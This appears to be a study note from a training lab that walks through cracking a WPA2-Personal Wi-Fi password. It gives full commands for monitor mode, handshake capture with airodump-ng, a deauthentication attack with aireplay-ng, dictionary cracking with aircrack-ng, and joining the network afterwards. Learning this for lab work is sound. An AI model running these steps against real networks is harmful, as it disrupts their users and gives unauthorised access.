19 Dec 2024
Wi-Fi attacks If you’d like to WPA, press the star key!For educational purposes only:
Basic steps:
The handshake doesn’t directly reveal the PSK, but involves encrypted messages that can only be understood with the same PSK.
Anyone can “hear” this conversation happening, and can use it as the basis to attempt offline brute-forcing or dictionary attacks. This involves trying different possible passwords and comparing the results to the captured handshake until the same result is achieved.
In terminal:
iw dev to show any wireless devices available, and their configuration.sudo iw dev wlan2 scan to use wlan2 to scan for available networks.
BSS(ID) can help identify the maker of the device, and SSID idicates it is sdvertising a network, so it is an AP of some sort.RSN (Robust Security Network) is part of WPA2 standard, so network is using WPA2. This typically defines the encryption and authentication settings.Group and Pairwise ciphers are CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol), the encryption method used by WPA2.Authentication suites is PSK, indicating it is WPA2-Personal with a shared password for authentication.DS Paarameter set is channel 6, showing it it 2.4GHz network.Monitor mode on the wireless device allows it to listen to all traffic on a specific channel, whether directed at the device or not. Captures all traffic within range for analysis without ever joining network. To set device in monitoring mode:
sudo ip link set dev wlan2 down to turn off device.sudo iw dev wlan2 set type monitor to set device to monitor mode.sudo ip link set dev wlan2 up to turn device on.Using 2 terminals to observe capture and issue commands:
sudo airodump-ng wlan2 to start capturing traffic, specially targeting handshake packets (note: by default airodump-ng automatically switches the device into monitor mode if it’s available).sudo airodump-ng -c 6 --bssid <MAC-address> -w output-file wlan2 to target a specific channel and MAC address, and save the captures to a few files that start with “output-file”.
STATION shows the BSSID of the connected device.sudo aireplay-ng -0 1 -a <AP-MAC-address> -c <Station-MAC-address> wlan2 to start deauth attack.-0 to specify deauth attack, 1 to specify sending 1 deauth.-a BSSID of AP.-c BSSID of the client to deauth.
Success is shown when WPA handshake shows in top right corner. Can then move on to cracking the PSK by using aircrack-ng:sudo aircrack-ng -a 2 -b <AP-MAC-address> -w </path/to/wordlist.txt> output*cap where:
-a 2 indicates WPA/WPA2 attack mode.-b indicates AP MAC address.-w indicates the dictionary list to use.output*cap name of the output files to run the attack against.
Once PSK is cracked, can use it to join the network, after turning off airodump-ng. Can’t join a network if the device is in monitor mode. Can join the wireless network with:
:~$ wpa_passphrase <SSID> '<PSK-HERE>' > config
:~$ sudo wpa_supplicant -B -c config -i wlan2
Retrieve SSID, BSSID, and PSK info.
Networking module